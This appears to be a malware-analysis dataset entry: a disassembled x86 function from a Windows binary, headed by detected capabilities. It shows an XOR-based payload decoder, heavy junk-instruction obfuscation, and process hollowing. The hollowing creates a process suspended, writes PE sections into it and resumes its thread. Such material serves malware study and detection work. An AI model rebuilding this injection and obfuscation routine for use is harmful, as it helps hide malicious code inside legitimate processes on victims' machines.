Function at 0x100010b0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path
Link many functions at runtime
Parse pe header
Print debug messages
Resolve function by parsing pe exports
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc74
push ebx
push esi
push edi
push 0x44
xor esi, esi
lea eax, [esp + 0x4c]
push esi
push eax
call fcn.10007300
mov eax, dword [0x1000d7c0]
add esp, 0xc
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x500], 0x10007
mov dword [esp + 0x10], eax
cmp eax, esi
jne 0x100010fc
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x10], eax
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x1000110f
mov edi, dword [esp + 0xb4]
jmp 0x10001184
mov edx, dword [eax + 0x3c]
cmp dword [edx + eax], 0x4550
je 0x10001124
mov edi, dword [esp + 0xb4]
jmp 0x10001184
movzx ecx, word [edx + eax + 6]
lea ecx, [ecx + ecx*4]
lea edx, [edx + ecx*8]
mov ebx, dword [edx + eax + 0xe0]
add ebx, dword [edx + eax + 0xdc]
lea ecx, [edx + eax + 0xd0]
push 4
lea esi, [ebx + eax - 0x50]
mov ecx, 0x14
lea edi, [esp + 0xa4]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0xb8]
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov eax, dword [esp + 0x10]
sub ebx, edi
push edi
lea ecx, [ebx + eax - 0x50]
push ecx
push esi
call fcn.10006f90
add esp, 0xc
mov eax, dword [esp + 0xac]
xor ebx, ebx
sub eax, 1
mov dword [esp + 0x10], esi
je 0x1000141a
sub eax, 1
je 0x100012bb
sub eax, 1
jne 0x100014f2
mov ecx, 0x14
lea esi, [esp + 0xa0]
lea edi, [esp + 0x830]
rep movsd dword es:[edi], dword [esi]
or edx, edx
push ecx
jbe 0x100011cc
push esi
sub dx, 0
pop esi
pop ecx
push esi
push eax
push eax
push 0x26
pop eax
pop eax
pop eax
pop esi
push ebx
push edx
jne 0x100011de
or si, 0
pop edx
pop ebx
push 0xffffffffffffffa2
add esp, 4
shl ebp, 0x40
clc
push eax
push edi
jle 0x100011f0
rol ebp, 0x40
pop edi
pop eax
jns 0x100011f6
test esp, esp
push edx
push ebp
je 0x100011fe
rol cx, 0xd0
pop ebp
pop edx
cmp ecx, esp
push eax
mov ax, 0xc2ce
pop eax
push ebx
dec ebx
pop ebx
push edx
pop edx
xchg edi, edi
cld
test ax, 0x3c6c
jae 0x1000121a
sub bp, 0
clc
push ebx
push ebp
mov bp, 0xd38c
pop ebp
pop ebx
push ebp
push esi
push ebp
inc ebp
pop ebp
pop esi
pop ebp
push esi
pop esi
neg bl
neg bl
push ebp
test eax, 0xc44cfb2
pop ebp
test ax, 0xb77e
cmp ax, 0x3f
jo 0x10001248
push ebp
push eax
ror esi, 0x60
pop eax
pop ebp
jl 0x10001251
push edx
test eax, 0x533b01be
pop edx
xor bp, 0
jae 0x1000125d
push edx
mov dx, 0xa04
pop edx
push ecx
jns 0x10001264
test ax, 0x57f1
pop ecx
jbe 0x1000126a
jne 0x1000126a
stc
cmc
or ecx, 0
push edi
push ebx
push edx
cdq
pop edx
pop ebx
pop edi
dec edi
inc edi
cld
dec ebp
inc ebp
jno 0x10001284
push esi
sar ebp, 0xe0
pop esi
or ax, ax
push edi
jae 0x1000128b
cld
pop edi
rol dl, 0x80
jae 0x10001294
add cl, 0
sar edx, 0x40
cld
push ebx
or eax, 0
pop ebx
push esi
push ecx
push ebx
mov bx, 0x16ac
pop ebx
pop ecx
pop esi
sub esi, 0
mov edi, dword [esp + 0xb4]
jmp 0x100014f2
mov ecx, 0x14
lea esi, [esp + 0xa0]
lea edi, [esp + 0x830]
rep movsd dword es:[edi], dword [esi]
push eax
push esi
cld
pop esi
pop eax
ror ch, 0x40
push ebx
js 0x100012de
and sp, sp
pop ebx
cld
jge 0x100012e8
push ebp
jb 0x100012e7
mov ecx, ecx
pop ebp
jp 0x100012ef
cmp eax, 0xf26056fb
ja 0x100012f9
jo 0x100012f9
push edx
sub sp, 0
pop edx
push esi
js 0x10001301
and eax, 0xffffffff
pop esi
test eax, 0x2ca8d192
or ecx, 0
push esi
push ecx
push ecx
or bp, 0
pop ecx
pop ecx
pop esi
push eax
push eax
xor eax, 0
pop eax
pop eax
jge 0x10001327
cmp eax, 0xb2a68db9
jns 0x10001331
jg 0x10001331
cmp eax, 0x6635deab
clc
push esi
or eax, 0
pop esi
xchg cl, cl
xchg cl, cl
nop
push edi
jbe 0x10001346
ja 0x10001346
sar eax, 0xe0
pop edi
sal edx, 0x20
inc ebp
dec ebp
jne 0x10001354
push ebp
add bx, 0
pop ebp
push ecx
push edx
je 0x1000135c
not al
not al
pop edx
pop ecx
jl 0x10001364
rol di, 0x80
test esp, esp
cmp eax, 0xc12b088e
and ax, 0xffff
jnp 0x10001378
push edi
jb 0x10001377
push edi
cmc
pop edi
pop edi
js 0x10001381
jl 0x10001381
and eax, 0xffffffff
jb 0x10001388
sub eax, 0
xor ch, ah
xor ch, ah
clc
nop
ror ecx, 0xc0
jbe 0x10001399
jg 0x10001399
add dx, 0
push 0x64
add esp, 4
dec edi
inc edi
jge 0x100013a8
push ebp
jbe 0x100013a7
dec esi
inc esi
pop ebp
ror ax, 0x30
push ebp
push ebp
cmp edx, 0x6b2eb253
pop ebp
pop ebp
jo 0x100013bc
push ecx
cmp eax, edi
pop ecx
jp 0x100013c2
rol sp, 0x70
jl 0x100013c8
cmp ax, 0x4e
push 0x42
add esp, 4
or eax, 0
shr edx, 0xe0
test ax, 0xaeb0
push edi
jnp 0x100013e1
push ecx
sub dl, 0
pop ecx
pop edi
clc
push ecx
jno 0x100013ec
jge 0x100013ec
xchg dx, ax
xchg dx, ax
pop ecx
cld
push ecx
push esi
push ebx
add di, 0
pop ebx
pop esi
pop ecx
cmp eax, 0x328fd3ba
push edx
or ebx, 0
pop edx
push ecx
mov ecx, 0xcbc24dbb
pop ecx
mov ebx, edi
mov edi, dword [esp + 0xb4]
jmp 0x100014f2
push esi
push edi
push ebx
mov bx, 0xe238
pop ebx
pop edi
pop esi
jo 0x1000142c
or edx, 0
std
cld
stc
cmc
push ebp
inc esi
dec esi
pop ebp
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov eax, dword [esp + 0x10]
push edi
push eax
push ebx
call fcn.10006f90
xor ecx, ecx
add esp, 0xc
mov eax, edi
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.100026b0
mov esi, edi
shr esi, 2
add esp, 4
test esi, esi
jbe 0x100014a0
mov edx, ebx
mov ecx, eax
sub edx, eax
mov dword [esp + 0x28], esi
mov ebx, dword [edx + ecx]
mov dword [ecx], ebx
mov ebx, dword [edx + ecx]
xor ebx, 0x98712345
rol ebx, 2
mov dword [ecx], ebx
add ecx, 4
sub dword [esp + 0x28], 1
jne 0x10001483
xor edx, edx
test esi, esi
jbe 0x100014d6
mov ebx, dword [eax + edx*4]
movzx ecx, byte [esp + 0xbe]
ror ebx, 2
xor ebx, 0x98712345
rol ebx, cl
movzx ecx, byte [esp + 0xbc]
xor ebx, dword [esp + 0xb8]
inc edx
ror ebx, cl
mov dword [eax + edx*4 - 4], ebx
cmp edx, esi
jb 0x100014a6
push esi
push ebp
xor ebx, 0
pop ebp
pop esi
jo 0x100014e5
ror ch, 0x10
test bl, 0x67
cld
cmc
push eax
add esp, 4
test ebx, ebx
mov ebx, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0xf0]
push eax
push 0x104
mov dword [esp + 0x14], 0
call esi
push edi
xor esp, 0
pop edi
and si, 0xffff
jns 0x10001522
and eax, 0xffffffff
cmc
push 0x104
lea ecx, [esp + 0xf4]
push ebx
push ecx
call fcn.100025fc
add esp, 0xc
push edx
ja 0x1000153f
sub ebx, 0
pop edx
jb 0x10001549
push ebx
mov ebx, 0xa512c262
pop ebx
test ax, 0x2cfc
cmp dword [esp + 0xa8], 1
jne 0x1000156a
lea edx, [esp + 0xc]
push edx
push edi
push ebx
call fcn.10001000
add esp, 0xc
mov dword [esp + 0x44], eax
lea eax, [esp + 0xf0]
push eax
push 0x104
call esi
jg 0x10001580
push ebx
cmp esp, 0xffffffce
pop ebx
push edi
xchg dl, cl
xchg dl, cl
pop edi
cmp bh, cl
clc
cld
lea edx, [edx]
stc
push 0x104
lea ecx, [esp + 0xf4]
push ebx
push ecx
call fcn.100025fc
add esp, 0xc
and si, si
rol dx, 0x60
or bp, bp
cmc
sub eax, 0
cmc
cld
mov esp, esp
cmp dword [esp + 0xa8], 1
push 0x40
push 0x1000
jne 0x100015cf
mov edx, dword [esp + 0x14]
push edx
jmp 0x100015d0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x10], eax
lea eax, [esp + 0xf0]
push eax
push 0x104
call esi
test al, 0x64
push edx
inc edx
pop edx
jno 0x100015f7
and eax, 0xffffffff
xor si, 0
rol bp, 0x80
push 0x104
lea ecx, [esp + 0xf4]
push ebx
push ecx
call fcn.100025fc
add esp, 0xc
push edx
mov dx, 0xf2e8
pop edx
shl eax, 0x80
jge 0x10001622
lea edi, [edi]
je 0x10001629
add eax, 0
cmp dword [esp + 0xa8], 1
jne 0x10001644
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x10]
push edx
push eax
push ecx
jmp 0x1000164b
mov edx, dword [esp + 0x10]
push edi
push ebx
push edx
call fcn.10006f90
add esp, 0xc
lea eax, [esp + 0xf0]
push eax
push 0x104
call esi
push ebx
jle 0x10001669
not bl
not bl
pop ebx
push ebx
push ecx
mov ecx, edx
pop ecx
pop ebx
or dl, dl
push ebp
or ch, ch
pop ebp
push 0x104
lea ecx, [esp + 0xf4]
push ebx
push ecx
call fcn.100025fc
add esp, 0xc
push edi
inc edi
pop edi
cmc
push eax
push edi
push esi
sar esp, 0x60
pop esi
pop edi
pop eax
jne 0x100016a0
test eax, 0x6a4c23c6
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x40], eax
mov dword [esp + 0x28], 0x1f4
jmp 0x100016c0
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea edx, [esp + 0x2c]
push edx
call edi
cmp eax, 0xb6986172
push ecx
test ax, 0x3025
pop ecx
stc
jl 0x100016e1
js 0x100016e1
or si, 0
lea eax, [esp + 0xf0]
push eax
push 0x104
call esi
push eax
jae 0x100016f5
and cl, cl
pop eax
sub bh, 0
and dx, 0xffff
nop
add edi, 0
lea ecx, [esp + 0x2c]
push ecx
call edi
cmc
test eax, 0x11e6f2a3
xor eax, 0
push edi
inc edi
pop edi
add bl, 0
nop
stc
push 0x104
lea edx, [esp + 0xf4]
push ebx
push edx
call fcn.100025fc
add esp, 0xc
sub dword [esp + 0x28], 1
jne 0x100016c0
mov edi, dword [ebp + 0xc]
mov ecx, dword [esp + 0x40]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [edi + 0x1e]
push eax
push ecx
call esi
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [edi + 0x3c]
push eax
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call esi
push str.MSVCR71.dll
mov dword [esp + 0x9c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.strcpy
push eax
call esi
mov edx, dword [esp + 0x40]
lea ecx, [edi + 0x5a]
push ecx
push edx
call esi
push 4
mov dword [esp + 0xa0], eax
call fcn.10002532
add esp, 4
lea eax, [edi + 0x78]
push eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call esi
add edi, 0x96
push edi
push str.kernel32.dll
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call esi
push 0x204
lea ecx, [esp + 0x300]
push 0
push ecx
mov dword [esp + 0xa0], eax
mov dword [esp + 0x304], 0x20
call fcn.10007300
add esp, 0xc
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + 0x1000aab0]
mov word [esp + eax + 0x2f8], cx
add eax, 2
test cx, cx
jne 0x10001800
mov eax, dword [ebp + 8]
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001820
lea edi, [esp + 0x2f8]
sub eax, edx
add edi, 0xfffffffe
jmp 0x10001840
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001840
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x2f8]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10001866
mov edx, dword [0x1000aab0]
mov dword [edi], edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea edx, [esp + 0x2f8]
movzx ecx, word [eax]
mov word [edx], cx
add eax, 2
add edx, 2
test cx, cx
jne 0x10001887
push eax
inc eax
pop eax
je 0x100018a4
push ebp
or eax, 0
pop ebp
or eax, 0
add dl, 0
lea eax, [esp + 0x18]
push eax
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x4c]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [esp + 0x318]
push edx
push eax
call dword [esp + 0x6c]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [esp + 0x10]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10001b8a
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
mov dword [esp + 0x40], edi
jne 0x10001b8a
mov edx, dword [edi + 0x34]
mov eax, dword [esp + 0x18]
lea esi, [edi + 0x34]
push edx
push eax
mov dword [esp + 0x4c], esi
call dword [esp + 0xa0]
lea ecx, [esp + 0xf0]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0x104
lea eax, [esp + 0xf4]
push ebx
push eax
call fcn.100025fc
mov ecx, dword [edi + 0x50]
mov edx, dword [esi]
mov eax, dword [esp + 0x24]
add esp, 0xc
push 0x40
push 0x3000
push ecx
push edx
push eax
call dword [esp + 0xb0]
lea ecx, [esp + 0xf0]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x104
lea edx, [esp + 0xf4]
push ebx
push edx
call fcn.100025fc
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x104
lea eax, [esp + 0xf4]
push 0
push eax
call fcn.10007300
mov ecx, dword [edi + 0x54]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi]
add esp, 0xc
push 0
push ecx
mov ecx, dword [esp + 0x20]
push edx
push eax
push ecx
call dword [esp + 0x3c]
lea edx, [esp + 0xf0]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, 0x41
mov esi, ebx
lea edi, [esp + 0xf0]
rep movsd dword es:[edi], dword [esi]
push 0x104
lea ecx, [esp + 0xf4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
lea edx, [esp + 0xf4]
push ebx
push edx
call fcn.100025fc
mov ecx, dword [esp + 0x4c]
add esp, 0xc
xor esi, esi
xor eax, eax
cmp ax, word [ecx + 6]
jae 0x10001a71
xor edi, edi
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx + 0x3c]
add edx, edi
lea eax, [edx + ecx + 0xf8]
mov edx, dword [eax + 0x10]
push 0
push edx
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add edx, ecx
mov ecx, dword [esp + 0x4c]
add eax, dword [ecx]
push edx
mov edx, dword [esp + 0x24]
push eax
push edx
call dword [esp + 0x3c]
mov eax, dword [esp + 0x40]
movzx ecx, word [eax + 6]
inc esi
add edi, 0x28
cmp esi, ecx
jb 0x10001a32
mov edx, dword [ebp + 0xc]
add edx, 0xb4
push edx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, eax
lea eax, [esp + 0xf0]
push eax
push 0x104
call edi
push 0x104
lea ecx, [esp + 0xf4]
push ebx
push ecx
call fcn.100025fc
mov eax, dword [esp + 0x28]
add esp, 0xc
lea edx, [esp + 0x500]
push edx
push eax
call dword [esp + 0x9c]
push 0x104
lea ecx, [esp + 0xf4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
lea edx, [esp + 0xf4]
push ebx
push edx
call fcn.100025fc
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax + 0x28]
mov eax, dword [esp + 0x50]
mov edx, dword [esp + 0x5b0]
add ecx, dword [eax]
add esp, 0xc
push 0
push 4
push eax
mov eax, dword [esp + 0x24]
add edx, 8
push edx
push eax
mov dword [esp + 0x5c4], ecx
call dword [esp + 0x3c]
lea ecx, [esp + 0xf0]
push ecx
push 0x104
call edi
push 0x104
lea edx, [esp + 0xf4]
push ebx
push edx
call fcn.100025fc
mov ecx, dword [esp + 0x28]
add esp, 0xc
lea eax, [esp + 0x500]
push eax
push ecx
call esi
lea edx, [esp + 0xf0]
push edx
push 0x104
call edi
push 0x104
lea eax, [esp + 0xf4]
push ebx
push eax
call fcn.100025fc
mov ecx, dword [esp + 0x28]
add esp, 0xc
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc